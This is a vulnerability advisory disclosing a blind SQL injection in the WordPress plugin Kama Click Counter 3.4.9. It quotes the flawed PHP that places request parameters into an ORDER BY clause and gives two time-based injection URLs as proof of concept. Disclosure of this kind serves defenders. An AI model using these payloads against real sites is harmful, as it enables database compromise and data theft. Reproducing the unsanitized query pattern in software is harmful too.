WordPress Kama Click Counter 3.4.9 SQL Injection

`=============================================  
MGC ALERT 2017-002  
- Original release date: February 21, 2017  
- Last revised: February 28, 2017  
- Discovered by: Manuel GarcAa CA!rdenas  
- Severity: 7,1/10 (CVSS Base Score)  
=============================================  
  
I. VULNERABILITY  
-------------------------  
WordPress Plugin Kama Click Counter 3.4.9 - Blind SQL Injection  
  
II. BACKGROUND  
-------------------------  
Using this plugin you will have statistics on clicks on your files or any  
other link (not file).  
  
III. DESCRIPTION  
-------------------------  
This bug was found using the portal in the  
/wp-content/plugins/kama-clic-counter/admin.php file.  
  
In the line 172,173 do not sanitize the input values.  
  
$order_by = ($x= & $_GET['order_by']) ? esc_sql($x) : 'link_date';  
$order = ($x= & $_GET['order']) ? esc_sql($x) : 'DESC';  
  
And in the line 182 or 186 the sql sentence is executed:  
  
$sql = "SELECT * FROM $wpdb->kcc_clicks WHERE link_url LIKE '%$s%' OR  
link_name LIKE '%$s%' ORDER BY $order_by $order LIMIT $offset, $limit";  
$sql = "SELECT * FROM $wpdb->kcc_clicks ORDER BY $order_by $order LIMIT  
$offset, $limit";  
  
To exploit the vulnerability only is needed use the version 1.0 of the HTTP  
protocol to interact with the application.  
  
It is possible to inject SQL code.  
  
IV. PROOF OF CONCEPT  
-------------------------  
The following URL have been confirmed to all suffer from Time Based SQL  
Injection.  
  
Time Based SQL Injection POC:  
  
/wordpress/wp-admin/admin.php?page=kama-clic-counter&order_by=link_name&order=ASC%2c(select*from(select(sleep(2)))a)&paged=1  
(2 seconds of response)  
  
/wordpress/wp-admin/admin.php?page=kama-clic-counter&order_by=link_name&order=ASC%2c(select*from(select(sleep(30)))a)&paged=1  
(30 seconds of response)  
  
V. BUSINESS IMPACT  
-------------------------  
Public defacement, confidential data leakage, and database server  
compromise can result from these attacks. Client systems can also be  
targeted, and complete compromise of these client systems is also possible.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
Kama Click Counter <= 3.4.9  
  
VII. SOLUTION  
-------------------------  
Disable the plugin until a fix is available.  
  
VIII. REFERENCES  
-------------------------  
https://wordpress.org/plugins-wp/kama-clic-counter/  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered and reported  
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
February 21, 2017 1: Initial release  
February 28, 2017 2: Revision to send to lists  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
February 21, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas  
February 21, 2017 2: Send to vendor  
February 24, 2017 3: New contact with vendor without response  
February 28, 2017 4: Send to the Full-Disclosure lists  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
  
XIII. ABOUT  
-------------------------  
Manuel Garcia Cardenas  
Pentester  
  
  
`